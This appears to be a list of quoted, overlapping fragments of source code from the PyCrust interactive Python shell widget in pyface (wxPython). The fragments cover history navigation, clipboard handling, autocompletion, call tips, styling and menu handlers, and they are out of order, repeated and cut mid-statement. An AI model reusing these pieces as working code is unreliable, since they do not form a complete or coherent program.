"last command. if command != '' \\ and (len(self.history) == 0 or command",
"\"\"\"Execute all commands in file as if they were typed into the shell.\"\"\"",
"hack job, but it works. text = self.GetCurLine()[0] line = self.GetCurrentLine() while text[:ps2size]",
"self.shell.Undo() def OnRedo(self, event): self.shell.Redo() def OnCut(self, event): self.shell.Cut() def OnCopy(self, event): self.shell.Copy()",
"def fixLineEndings(self, text): \"\"\"Return text with line endings replaced by OS-specific endings.\"\"\" lines",
"in the tree view', 1) m.AppendMenu(ID_FILLING, '&Filling', fm, 'Filling Options') m = self.helpMenu",
"post the event and let the surrounding app # decide what it wants",
"# In the close event handler we can make sure they want to",
"pseudo keywords as part of builtins. This simply sets \"close\", \"exit\" and \"quit\"",
"tree.showMethods = event.IsChecked() tree.update() def OnFillingShowClass(self, event): tree = self.crust.filling.fillingTree tree.showClass = event.IsChecked()",
"event): tree = self.crust.filling.fillingTree tree.showModule = event.IsChecked() tree.update() def OnUpdateMenu(self, event): \"\"\"Update menu",
"self.crust.filling.fillingTree tree.autoUpdate = event.IsChecked() tree.if_autoUpdate() def OnFillingShowMethods(self, event): tree = self.crust.filling.fillingTree tree.showMethods =",
"that match the command typed so far: elif key == WXK_F9: self.historyShow(self.getCommand(rstrip=0)) #",
"\\ 'Yet another Python shell, only flakier.\\n\\n' + \\ 'Half-baked by <NAME>,\\n' +",
"def OnAutoCompleteShow(self, event): self.shell.autoComplete = event.IsChecked() def OnAutoCompleteIncludeMagic(self, event): self.shell.autoCompleteIncludeMagic = event.IsChecked() def",
"'\\n'.join(lines) if self.reader.isreading: if not command: # Match the behavior of the standard",
"event handling to take place. event.Skip() def OnKeyDown(self, event): \"\"\"Key down event handler.\"\"\"",
"= caretPos - 1 # Check after. if braceAtCaret < 0: charAfter =",
"History item. Ctrl+Down Arrow Retrieve Next History item. Alt+N Retrieve Next History item.",
"controlDown and key in (ord('L'), ord('l')): pass # Don't allow line transposition. elif",
"a continuation line, autoindent as necessary.\"\"\" isreading = self.reader.isreading skip = 0 if",
"insert a line break. elif controlDown and key == WXK_RETURN: if self.AutoCompActive(): self.AutoCompCancel()",
"appropriate prompt for the context, either ps1, ps2 or ps3. If this is",
"described in the aforementioned license. The license # is also available online at",
"self.crust.filling.fillingTree tree.showModule = event.IsChecked() tree.update() def OnUpdateMenu(self, event): \"\"\"Update menu items based on",
"so we need to see if there # is a selection that includes",
"if self.CallTipActive(): self.CallTipCancel() if (not self.more and (self.GetTextRange(self.promptPosEnd, self.GetCurrentPos()) == '')): self.historyShow() else:",
"'' if rstrip: command = command.rstrip() return command def getCommand(self, text=None, rstrip=1): \"\"\"Extract",
"commands.append(command) # Start a new command, which may be multiline. command = line",
"\"\"\"Halt execution pending a response from the user.\"\"\" self.ask('Press enter to continue:') def",
"OnHistoryReplace(self, step): \"\"\"Replace with the previous/next command from the history buffer.\"\"\" if not",
"= 1 self.historyMatches = None prefix = self.getCommand(rstrip=0) n = len(prefix) if n",
"'Include attibutes prefixed by a single underscore', 1) m.Append(ID_AUTOCOMP_INCLUDE_DOUBLE, 'Include Double Underscores', \\",
"the one we've found. self.ReplaceSelection(command[len(searchText):]) endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) # We've now",
"== text: command = '' # Real commands have prompts. if rstrip: command",
"view', 1) fm.Append(ID_FILLING_SHOW_DOC, 'Show __doc__', 'Show __doc__ entries in the tree view', 1)",
"'Filling Options') m = self.helpMenu = wxMenu() m.AppendSeparator() m.Append(wxID_ABOUT, '&About...', 'About PyCrust') b",
"is really just a signal to grab the data # from our singleton",
"OS-specific endings.\"\"\" text = self.fixLineEndings(text) self.AddText(text) self.EnsureCaretVisible() def fixLineEndings(self, text): \"\"\"Return text with",
"== line: # New command. if command: # Add the previous command to",
"in lines: if line.strip() != '' and line.lstrip() == line: # New command.",
"from the history buffer.\"\"\" self.ReplaceSelection('') if history is None: history = self.history newindex",
"if self.AutoCompActive(): event.Skip() return if self.CallTipActive(): self.CallTipCancel() self.processLine() # Ctrl+Return (Cntrl+Enter) is used",
"while text[:ps2size] == ps2 and line > 0: line -= 1 self.GotoLine(line) text",
"def topLevelComplete(self): command = self.getCommand(rstrip=0) completions = self.interp.getTopLevelCompletions(command) if len(completions) == 0: return",
"positive to magnify or negative to reduce.\"\"\" self.SetZoom(points) wxID_SELECTALL = wxNewId() ID_AUTOCOMP =",
"'&Options') b.Append(self.helpMenu, '&Help') self.SetMenuBar(b) EVT_MENU(self, wxID_EXIT, self.OnExit) EVT_MENU(self, wxID_UNDO, self.OnUndo) EVT_MENU(self, wxID_REDO, self.OnRedo)",
"command = line else: # Multiline command. Add to the command. command +=",
"on wxPython's wxStyledTextCtrl. The latest files are always available at the SourceForge project",
"Configure various defaults and user preferences. self.config() # Display the introductory banner information.",
"project page at http://sourceforge.net/projects/pycrust/. Sponsored by Orbtech - Your source for Python programming",
"wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def Paste(self): \"\"\"Replace selection with clipboard contents.\"\"\" if",
"not in items: items.append(item) self.UserListShow(1, '\\n'.join(items)) def OnHistorySelected(self, event): command = event.GetText() if",
"for using Enthought open source! # # Author: Enthought, Inc. # Description: <Enthought",
"dmorrill Exp $\" __revision__ = \"$Revision: 1.2 $\"[11:-2] from wx.wx import * from",
"charBefore = None caretPos = self.GetCurrentPos() if caretPos > 0: charBefore = self.GetCharAt(caretPos",
"m.AppendMenu(ID_FILLING, '&Filling', fm, 'Filling Options') m = self.helpMenu = wxMenu() m.AppendSeparator() m.Append(wxID_ABOUT, '&About...',",
"self.processLine() def topLevelComplete(self): command = self.getCommand(rstrip=0) completions = self.interp.getTopLevelCompletions(command) if len(completions) == 0:",
"self.history[i] if command[:len(searchText)] == searchText: # Replace the current selection with the one",
"and styleAfter == wxSTC_P_OPERATOR: braceAtCaret = caretPos if braceAtCaret >= 0: braceOpposite =",
"of the command or line. Shift+Home Select to the beginning of the command",
"== '': self.historyShow() else: command += chr(key) self.write(chr(key)) if self.autoComplete: self.autoCompleteShow(command) elif key",
"elif key == ord('('): # The left paren activates a call tip and",
"value. command = '\\n' self.reader.input = command self.write(os.linesep) else: self.push(command) # Or replace",
"command) def write(self, text): \"\"\"Display text in the shell. Replace line endings with",
"instance.\"\"\" methods = ['ask', 'clear', 'pause', 'prompt', 'quit', 'redirectStderr', 'redirectStdin', 'redirectStdout', 'run', 'runfile',",
"in (ord('P'), ord('p'))): self.OnHistoryReplace(step=+1) # Replace with the next command from the history",
"to hide rather than # quit so we should just post the event",
"self.GetTextRange(stoppos, currpos) + '(' self.write('(') if self.autoCallTip: self.autoCallTipShow(command) else: # Allow the normal",
"redirect: sys.stdin = self.reader else: sys.stdin = self.stdin def redirectStdout(self, redirect=1): \"\"\"If redirect",
"== ID_FILLING_SHOW_DICT: event.Check(self.crust.filling.fillingTree.showDict) elif id == ID_FILLING_SHOW_DOC: event.Check(self.crust.filling.fillingTree.showDoc) elif id == ID_FILLING_SHOW_MODULE: event.Check(self.crust.filling.fillingTree.showModule)",
"is still in the oven.\\n\\n' + \\ 'Shell Revision: %s\\n' % self.shell.revision +",
"\"\"\"Display an About PyCrust window.\"\"\" import sys title = 'About PyCrust' text =",
"they can be restored by self.redirect* methods. self.stdin = sys.stdin self.stdout = sys.stdout",
"key in (ord('C'), ord('c'), WXK_INSERT): self.Copy() # Copy to the clipboard, including prompts.",
"on current status.\"\"\" id = event.GetId() if id == wxID_UNDO: event.Enable(self.shell.CanUndo()) elif id",
"the interpreter. if not controlDown and key == WXK_RETURN: if self.AutoCompActive(): event.Skip() return",
"though only some are visible to the user.\"\"\" name = 'PyCrust Shell Interface'",
"current command, not in the history. self.history = [] self.historyIndex = -1 self.historyPrefix",
"self.AutoCompCancel() if self.CallTipActive(): self.CallTipCancel() if (not self.more and (self.GetTextRange(self.promptPosEnd, self.GetCurrentPos()) == '')): self.historyShow()",
"Built in styles self.StyleSetSpec(wxSTC_STYLE_LINENUMBER, \"back:#C0C0C0,face:%(mono)s,size:%(lnsize)d\" % faces) self.StyleSetSpec(wxSTC_STYLE_CONTROLCHAR, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_STYLE_BRACELIGHT, \"fore:#0000FF,back:#FFFF88\")",
"wxID_CUT: event.Enable(self.shell.CanCut()) elif id == wxID_COPY: event.Enable(self.shell.CanCopy()) elif id == wxID_PASTE: event.Enable(self.shell.CanPaste()) elif",
"when # the user hits return without entering a value. command = '\\n'",
"types in commands to be sent to the interpreter. This particular shell is",
"pop up command completion options? self.autoComplete = 1 self.autoCompleteIncludeMagic = 1 self.autoCompleteIncludeSingle =",
"prompt and the cursor. # Add the autocomplete character to the end of",
"'Show __dict__', 'Show __dict__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_DOC, 'Show __doc__',",
"the end of the command. self.ReplaceSelection('') command = self.GetTextRange(stoppos, currpos) + '(' self.write('(')",
"= searchText[:-numCharsAfterCursor] if not searchText: return # Search upwards from the current history",
"= 0 if isreading: prompt = str(sys.ps3) elif self.more: prompt = str(sys.ps2) else:",
"from the current history position and loop back # to the beginning if",
"information.\"\"\" # This method will most likely be replaced by the enclosing app",
"the previous command from the history buffer. elif (controlDown and key == WXK_UP)",
"and key in (ord('T'), ord('t')): pass # Basic navigation keys should work anywhere.",
"and not self.CanEdit(): pass # Paste from the clipboard. elif (controlDown and not",
"def execStartupScript(self, startupScript): \"\"\"Execute the user's PYTHONSTARTUP script if they have one.\"\"\" if",
"based on user preferences.\"\"\" self.SetMarginType(1, wxSTC_MARGIN_NUMBER) self.SetMarginWidth(1, 40) self.SetLexer(wxSTC_LEX_PYTHON) self.SetKeyWords(0, ' '.join(keyword.kwlist)) self.setStyles(faces)",
"auto-complete window is up let it do its thing. elif self.AutoCompActive(): event.Skip() #",
"beginning if we don't find anything. if (self.historyIndex <= -1) \\ or (self.historyIndex",
"== WXK_F9: self.historyShow(self.getCommand(rstrip=0)) # Don't backspace over the latest non-continuation prompt. elif key",
"command = command.replace('\\n', os.linesep + sys.ps2) else: command = '' if rstrip: command",
"the prompt off the front of text leaving just the command. command =",
"were typed into the shell.\"\"\" file = open(filename) try: self.prompt() for command in",
"the current command, not in the history. self.history = [] self.historyIndex = -1",
"for stdin. self.reader = PseudoFileIn(self.readline) self.reader.input = '' self.reader.isreading = 0 # Set",
"be valid Python syntax.\"\"\" # XXX Need to extract real prompts here. Need",
"finally: reader.input = '' reader.isreading = 0 return input def raw_input(self, prompt=''): \"\"\"Return",
"if redirect: sys.stderr = PseudoFileErr(self.writeErr) else: sys.stderr = self.stderr def CanCut(self): \"\"\"Return true",
"user types in commands to be sent to the interpreter. This particular shell",
"ID_AUTOCOMP_SHOW, \\ self.OnAutoCompleteShow) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_MAGIC, \\ self.OnAutoCompleteIncludeMagic) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_SINGLE, \\ self.OnAutoCompleteIncludeSingle) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_DOUBLE,",
"event.Check(self.shell.autoCallTip) elif id == ID_FILLING_AUTO_UPDATE: event.Check(self.crust.filling.fillingTree.autoUpdate) elif id == ID_FILLING_SHOW_METHODS: event.Check(self.crust.filling.fillingTree.showMethods) elif id",
"braceOpposite = self.BraceMatch(braceAtCaret) if braceAtCaret != -1 and braceOpposite == -1: self.BraceBadLight(braceAtCaret) else:",
"command history. Commands are added into the front of # the list (ie.",
"be # sitting on any line in the shell. thepos = self.GetCurrentPos() startpos",
"(2, 3, 2): faces['size'] -= 2 faces['lnsize'] -= 2 else: # GTK faces",
"Get the command between the prompt and the cursor. # Add the autocomplete",
"= self.calltipsMenu = wxMenu() m.Append(ID_CALLTIPS_SHOW, 'Show Call Tips', \\ 'Show call tips with",
"self.AutoCompSetIgnoreCase(self.autoCompleteCaseInsensitive) self.AutoCompSetSeparator(ord('\\n')) # Do we want to automatically pop up command argument help?",
"(ord('V'), ord('v')): self.PasteAndRun() # Replace with the previous command from the history buffer.",
"currpos = self.GetCurrentPos() stoppos = self.promptPosEnd # Return (Enter) needs to be ignored",
"should just post the event and let the surrounding app # decide what",
"= self.GetCurLine()[0] # Strip the prompt off the front of text leaving just",
"sys.stderr will go to the shell.\"\"\" if redirect: sys.stderr = PseudoFileErr(self.writeErr) else: sys.stderr",
"self.history newindex = self.historyIndex + step if -1 <= newindex <= len(history): self.historyIndex",
"\\ wxTheClipboard.IsSupported(PythonObject)): return 1 else: return 0 def CanEdit(self): \"\"\"Return true if editing",
"contents, run commands.\"\"\" if wxTheClipboard.Open(): if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if wxTheClipboard.GetData(data): endpos",
"<reponame>adamcvj/SatelliteTracker<filename>Latest/venv/Lib/site-packages/pyface/wx/shell.py #------------------------------------------------------------------------------ # Copyright (c) 2005, Enthought, Inc. # All rights reserved. #",
"'Courier New', 'helv' : 'Lucida Console', 'lucida' : 'Lucida Console', 'other' : 'Comic",
"Dialog (Raw)', '') try: if dialog.ShowModal() == wxID_OK: text = dialog.GetValue() return text",
"there a 'name' for the Enter key? self.processLine() def topLevelComplete(self): command = self.getCommand(rstrip=0)",
"self.ScrollToColumn(0) def readline(self): \"\"\"Replacement for stdin.readline().\"\"\" input = '' reader = self.reader reader.isreading",
"= wxNewId() ID_AUTOCOMP_INCLUDE_MAGIC = wxNewId() ID_AUTOCOMP_INCLUDE_SINGLE = wxNewId() ID_AUTOCOMP_INCLUDE_DOUBLE = wxNewId() ID_CALLTIPS =",
"faces) self.StyleSetSpec(wxSTC_STYLE_BRACELIGHT, \"fore:#0000FF,back:#FFFF88\") self.StyleSetSpec(wxSTC_STYLE_BRACEBAD, \"fore:#FF0000,back:#FFFF88\") # Python styles self.StyleSetSpec(wxSTC_P_DEFAULT, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_COMMENTLINE,",
"m.AppendMenu(ID_AUTOCOMP, '&Auto Completion', self.autocompMenu, \\ 'Auto Completion Options') m.AppendMenu(ID_CALLTIPS, '&Call Tips', self.calltipsMenu, \\",
"double underscore', 1) m = self.calltipsMenu = wxMenu() m.Append(ID_CALLTIPS_SHOW, 'Show Call Tips', \\",
"front of text leaving just the command. command = self.lstripPrompt(text) if command ==",
"ps1size = len(ps1) ps2 = str(sys.ps2) ps2size = len(ps2) # Strip the prompt",
"that all attributes of other are still accessible, even though only some are",
"text in the shell.\"\"\" if text: if not text.endswith(os.linesep): text += os.linesep self.write(text)",
"len(prefix) if n > 0: self.historyMatches = matches = [] for command in",
"If this is a continuation line, autoindent as necessary.\"\"\" isreading = self.reader.isreading skip",
"event): self.shell.Redo() def OnCut(self, event): self.shell.Cut() def OnCopy(self, event): self.shell.Copy() def OnPaste(self, event):",
"In case there isn't enough room, only go back to the fallback. tippos",
"and run multiple commands from clipboard. Ctrl+Up Arrow Retrieve Previous History item. Alt+P",
"def OnUpdateMenu(self, event): \"\"\"Update menu items based on current status.\"\"\" id = event.GetId()",
"self.processLine() # Ctrl+Return (Cntrl+Enter) is used to insert a line break. elif controlDown",
"the oven.\\n\\n' + \\ 'Shell Revision: %s\\n' % self.shell.revision + \\ 'Interpreter Revision:",
"submitted commands/responses. if not self.CanEdit(): return key = event.KeyCode() currpos = self.GetCurrentPos() stoppos",
"text = self.fixLineEndings(text) self.AddText(text) self.EnsureCaretVisible() def fixLineEndings(self, text): \"\"\"Return text with line endings",
"tree.showClass = event.IsChecked() tree.update() def OnFillingShowDict(self, event): tree = self.crust.filling.fillingTree tree.showDict = event.IsChecked()",
"if braceAtCaret < 0: charAfter = self.GetCharAt(caretPos) #*** Patch to fix bug in",
"status bar. print(text) def insertLineBreak(self): \"\"\"Insert a new line break.\"\"\" if self.CanEdit(): self.write(os.linesep)",
"if argspec: startpos = self.GetCurrentPos() self.write(argspec + ')') endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos)",
"command.replace( '\\\\n', os.linesep + sys.ps2) self.clearCommand() self.write(command) # Process the command if the",
"if self.CanCut() and self.CanCopy(): if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive: self.CallTipCancel() self.Copy() self.ReplaceSelection('') def",
"ID_FILLING_SHOW_CLASS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DICT, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DOC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_MODULE, self.OnUpdateMenu) def OnExit(self,",
"run multiple commands from clipboard. Ctrl+Up Arrow Retrieve Previous History item. Alt+P Retrieve",
"'name' for the Enter key? self.processLine() def topLevelComplete(self): command = self.getCommand(rstrip=0) completions =",
"EVT_MENU(self, wxID_EXIT, self.OnExit) EVT_MENU(self, wxID_UNDO, self.OnUndo) EVT_MENU(self, wxID_REDO, self.OnRedo) EVT_MENU(self, wxID_CUT, self.OnCut) EVT_MENU(self,",
"'helv' : 'Lucida Console', 'lucida' : 'Lucida Console', 'other' : 'Comic Sans MS',",
"in. if locals: shellLocals.update(locals) # Create a replacement for stdin. self.reader = PseudoFileIn(self.readline)",
"startpos) # We've now warped into middle of the history. self.historyIndex = i",
"Return (Enter) needs to be ignored in this handler. if key == WXK_RETURN:",
"in front of the cursor.\"\"\" if not self.CanEdit(): return startpos = self.GetCurrentPos() #",
"size=wxDefaultSize, style=wxCLIP_CHILDREN, introText='', \\ locals=None, InterpClass=None, *args, **kwds): \"\"\"Create a PyCrust Shell instance.\"\"\"",
"self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_CLASS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DICT, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DOC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_MODULE, self.OnUpdateMenu)",
"self.write(text) def writeErr(self, text): \"\"\"Replacement for stderr.\"\"\" self.write(text) def redirectStdin(self, redirect=1): \"\"\"If redirect",
"dot syntax', 1) m.Append(ID_AUTOCOMP_INCLUDE_MAGIC, 'Include Magic Attributes', \\ 'Include attributes visible to __getattr__",
"it on the clipboard.\"\"\" if self.CanCut() and self.CanCopy(): if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive:",
"with clipboard contents.\"\"\" if self.CanPaste() and wxTheClipboard.Open(): try: if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject()",
"pause(self): \"\"\"Halt execution pending a response from the user.\"\"\" self.ask('Press enter to continue:')",
"%s\\n' % wx.__version__ + \\ 'Platform: %s\\n' % sys.platform dialog = wxMessageDialog(self, text,",
"= self.crust.filling.fillingTree tree.showDoc = event.IsChecked() tree.update() def OnFillingShowModule(self, event): tree = self.crust.filling.fillingTree tree.showModule",
"run commands.\"\"\" if wxTheClipboard.Open(): if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if wxTheClipboard.GetData(data): endpos =",
"self.GetCurLine()[1] if pos > 0: if isreading: skip = 1 else: self.write(os.linesep) if",
"style=wxCLIP_CHILDREN, introText='', \\ locals=None, InterpClass=None, *args, **kwds): \"\"\"Create a PyCrust Shell instance.\"\"\" wxStyledTextCtrl.__init__(self,",
"-1 braceOpposite = -1 charBefore = None caretPos = self.GetCurrentPos() if caretPos >",
"')') endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) if tip: curpos = self.GetCurrentPos() tippos =",
"ask(self, prompt='Please enter your response:'): \"\"\"Get response from the user using a dialog",
"= self.promptPosEnd endpos = self.GetTextLength() # If they hit RETURN inside the current",
"fm.Append(ID_FILLING_SHOW_DICT, 'Show __dict__', 'Show __dict__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_DOC, 'Show",
"raise AttributeError(name) def __setattr__(self, name, value): if name in self.__dict__: self.__dict__[name] = value",
"!= self.GetSelectionEnd() def CanPaste(self): \"\"\"Return true if a paste should succeed.\"\"\" if self.CanEdit()",
"the command between the prompt and the cursor. # Add the autocomplete character",
"come from the shell.\"\"\" if redirect: sys.stdin = self.reader else: sys.stdin = self.stdin",
"id == ID_AUTOCOMP_INCLUDE_SINGLE: event.Check(self.shell.autoCompleteIncludeSingle) elif id == ID_AUTOCOMP_INCLUDE_DOUBLE: event.Check(self.shell.autoCompleteIncludeDouble) elif id == ID_CALLTIPS_SHOW:",
"without a leading prompt.\"\"\" ps1 = str(sys.ps1) ps1size = len(ps1) ps2 = str(sys.ps2)",
"self.handlers = [] self.python_obj_paste_handler = None # Add the current working directory \".\"",
"file as if they were typed into the shell.\"\"\" file = open(filename) try:",
"== ID_AUTOCOMP_INCLUDE_DOUBLE: event.Check(self.shell.autoCompleteIncludeDouble) elif id == ID_CALLTIPS_SHOW: event.Check(self.shell.autoCallTip) elif id == ID_FILLING_AUTO_UPDATE: event.Check(self.crust.filling.fillingTree.autoUpdate)",
"[] for command in self.history: if command[:n] == prefix and command not in",
"key == WXK_RETURN: pass elif key in self.autoCompleteKeys: # Usually the dot (period)",
"this command into the history, unless it's a blank # line or the",
"of the command. self.ReplaceSelection('') command = self.GetTextRange(stoppos, currpos) + '(' self.write('(') if self.autoCallTip:",
"id, pos, size, style) # Grab these so they can be restored by",
"and key in (ord('V'), ord('v'))) \\ or (shiftDown and not controlDown and key",
"the tree view', 1) fm.Append(ID_FILLING_SHOW_DICT, 'Show __dict__', 'Show __dict__ entries in the tree",
"currpos) if command == '': self.historyShow() else: command += chr(key) self.write(chr(key)) if self.autoComplete:",
"wxNewId() ID_FILLING_SHOW_METHODS = wxNewId() ID_FILLING_SHOW_CLASS = wxNewId() ID_FILLING_SHOW_DICT = wxNewId() ID_FILLING_SHOW_DOC = wxNewId()",
"prior to the prompt. # # Don't modify a selection with text prior",
"prefix = self.getCommand(rstrip=0) n = len(prefix) if n > 0: self.historyMatches = matches",
"a 'name' for the Enter key? self.processLine() def topLevelComplete(self): command = self.getCommand(rstrip=0) completions",
"event): self.shell.autoCompleteIncludeSingle = event.IsChecked() def OnAutoCompleteIncludeDouble(self, event): self.shell.autoCompleteIncludeDouble = event.IsChecked() def OnCallTipsShow(self, event):",
"event.IsChecked() tree.if_autoUpdate() def OnFillingShowMethods(self, event): tree = self.crust.filling.fillingTree tree.showMethods = event.IsChecked() tree.update() def",
"cursor.\"\"\" if not self.CanEdit(): return startpos = self.GetCurrentPos() # The text up to",
"= \"$Revision: 1.2 $\"[11:-2] from wx.wx import * from wx.stc import * import",
"dialog.Destroy() return '' def pause(self): \"\"\"Halt execution pending a response from the user.\"\"\"",
"event.IsChecked() def OnAutoCompleteIncludeDouble(self, event): self.shell.autoCompleteIncludeDouble = event.IsChecked() def OnCallTipsShow(self, event): self.shell.autoCallTip = event.IsChecked()",
"'crust' ): EVT_MENU(self, ID_FILLING_AUTO_UPDATE, self.OnFillingAutoUpdate) EVT_MENU(self, ID_FILLING_SHOW_METHODS, self.OnFillingShowMethods) EVT_MENU(self, ID_FILLING_SHOW_CLASS, self.OnFillingShowClass) EVT_MENU(self, ID_FILLING_SHOW_DICT,",
"= self.stdin def redirectStdout(self, redirect=1): \"\"\"If redirect is true then sys.stdout will go",
"if caretPos > 0: charBefore = self.GetCharAt(caretPos - 1) #*** Patch to fix",
"the history buffer for the text in front of the cursor.\"\"\" if not",
"path. sys.path.insert(0, os.curdir) # Import a default interpreter class if one isn't provided.",
"insert mode and overwrite mode. elif key == WXK_INSERT: pass # Don't allow",
"OnFillingShowModule(self, event): tree = self.crust.filling.fillingTree tree.showModule = event.IsChecked() tree.update() def OnUpdateMenu(self, event): \"\"\"Update",
"unexecuted command. elif key == WXK_ESCAPE: if self.CallTipActive(): event.Skip() else: self.clearCommand() # Cut",
"if -1 <= newindex <= len(history): self.historyIndex = newindex if 0 <= newindex",
"# Create default locals so we have something interesting. shellLocals = {'__name__': 'PyCrust-Shell',",
"for line in lines] command = '\\n'.join(lines) if self.reader.isreading: if not command: #",
"self.setBuiltinKeywords() except: pass # Add 'shell' to the interpreter's local namespace. try: self.setLocalShell()",
"self.GetCurrentPos() self.replaceFromHistory(step) endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) def OnHistorySearch(self): \"\"\"Search up the history",
"Find out for which keycodes the interpreter will autocomplete. self.autoCompleteKeys = self.interp.getAutoCompleteKeys() #",
"and self.GetSelectionStart() >= self.promptPosEnd \\ and self.GetSelectionEnd() >= self.promptPosEnd: return 1 else: return",
"elif (shiftDown and key == WXK_UP) and self.CanEdit(): self.OnHistoryInsert(step=+1) # Insert the next",
"def CanPaste(self): \"\"\"Return true if a paste should succeed.\"\"\" if self.CanEdit() and \\",
"activates a call tip and cancels # an active auto completion. if self.AutoCompActive():",
"are added into the front of # the list (ie. at index 0)",
"if startupScript and os.path.isfile(startupScript): startupText = 'Startup script executed: ' + startupScript self.push('print",
"setattr(self.other, name, value) else: raise AttributeError(name) def _getAttributeNames(self): \"\"\"Return list of magic attributes",
"and docstring in a popup bubble thingie.\"\"\" if self.CallTipActive: self.CallTipCancel() (name, argspec, tip)",
"selection with clipboard contents.\"\"\" if self.CanPaste() and wxTheClipboard.Open(): try: if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data =",
"command. if command: # Add the previous command to the list. commands.append(command) #",
"while self.GetCurLine()[0][:ps2size] == ps2: line += 1 self.GotoLine(line) stoppos = self.GetCurrentPos() command =",
"self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CUT, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_COPY, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_PASTE, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CLEAR, self.OnUpdateMenu)",
"wxID_PASTE, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CLEAR, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_SHOW, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_MAGIC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_SINGLE,",
"without warranty under the terms of the BSD # license included in enthought/LICENSE.txt",
"self.promptPosEnd: return 1 else: return 0 def CanCopy(self): \"\"\"Return true if text is",
"self.StyleSetSpec(wxSTC_P_COMMENTBLOCK, \"fore:#7F7F7F\") self.StyleSetSpec(wxSTC_P_STRINGEOL, \"fore:#000000,face:%(mono)s,back:#E0C0E0,eolfilled\" % faces) def OnUpdateUI(self, evt): \"\"\"Check for matching braces.\"\"\"",
"command += '\\n' command += line commands.append(command) for command in commands: command =",
"sys.ps2) lines = [line.rstrip() for line in lines] command = '\\n'.join(lines) if self.reader.isreading:",
"'Platform: %s\\n' % sys.platform dialog = wxMessageDialog(self, text, title, wxOK | wxICON_INFORMATION) dialog.ShowModal()",
"__author__ = \"<NAME> <<EMAIL>>\" __cvsid__ = \"$Id: shell.py,v 1.2 2003/06/13 17:59:34 dmorrill Exp",
"braceAtCaret >= 0: braceOpposite = self.BraceMatch(braceAtCaret) if braceAtCaret != -1 and braceOpposite ==",
"(shiftDown and key == WXK_UP) and self.CanEdit(): self.OnHistoryInsert(step=+1) # Insert the next command",
"('startupText', 'startupScript')) else: self.push('') def setStyles(self, faces): \"\"\"Configure font size, typeface and color",
"'Wrapping is not available in this version of PyCrust.' def zoom(self, points=0): \"\"\"Set",
"self.clearCommand() self.replaceFromHistory(step, self.historyMatches) def replaceFromHistory(self, step, history=None): \"\"\"Replace selection with command from the",
"command, not in the history. self.history = [] self.historyIndex = -1 self.historyPrefix =",
"# This is a total hack job, but it works. text = self.GetCurLine()[0]",
"command may not necessarily be valid Python syntax.\"\"\" if not text: text =",
"self.SetCurrentPos(endpos) self.interp.more = 0 command = self.GetTextRange(startpos, endpos) lines = command.split(os.linesep + sys.ps2)",
"self.historyShow(self.getCommand(rstrip=0)) # Don't backspace over the latest non-continuation prompt. elif key == WXK_BACK:",
"* from wx.stc import * import keyword import os import sys from wx.py.pseudo",
"event.IsChecked() def OnCallTipsShow(self, event): self.shell.autoCallTip = event.IsChecked() def OnFillingAutoUpdate(self, event): tree = self.crust.filling.fillingTree",
"line break.\"\"\" if self.CanEdit(): self.write(os.linesep) self.more = 1 self.prompt() def processLine(self): \"\"\"Process the",
"package component> #------------------------------------------------------------------------------ \"\"\"The PyCrust Shell is an interactive text control in which",
"'times' : 'Times', 'mono' : 'Courier', 'helv' : 'Helvetica', 'other' : 'new century",
"\"\") self.StyleSetSpec(wxSTC_P_COMMENTBLOCK, \"fore:#7F7F7F\") self.StyleSetSpec(wxSTC_P_STRINGEOL, \"fore:#000000,face:%(mono)s,back:#E0C0E0,eolfilled\" % faces) def OnUpdateUI(self, evt): \"\"\"Check for matching",
"self.write(self.helpText) def __getattr__(self, name): if hasattr(self.other, name): return getattr(self.other, name) else: raise AttributeError(name)",
"self.SetAnchor(home) self.EnsureCaretVisible() else: event.Skip() # # The following handlers modify text, so we",
"typed so far: elif key == WXK_F9: self.historyShow(self.getCommand(rstrip=0)) # Don't backspace over the",
"'helv' : 'Helvetica', 'other' : 'new century schoolbook', 'size' : 12, 'lnsize' :",
"Double Underscores', \\ 'Include attibutes prefixed by a double underscore', 1) m =",
"self.SetKeyWords(0, ' '.join(keyword.kwlist)) self.setStyles(faces) self.SetViewWhiteSpace(0) self.SetTabWidth(4) self.SetUseTabs(0) # Do we want to automatically",
"Arrow Insert Next History item. F8 Command-completion of History item. (Type a few",
"the dot (period) key activates auto completion. # Get the command between the",
"Return (Enter) is used to submit a command to the interpreter. if not",
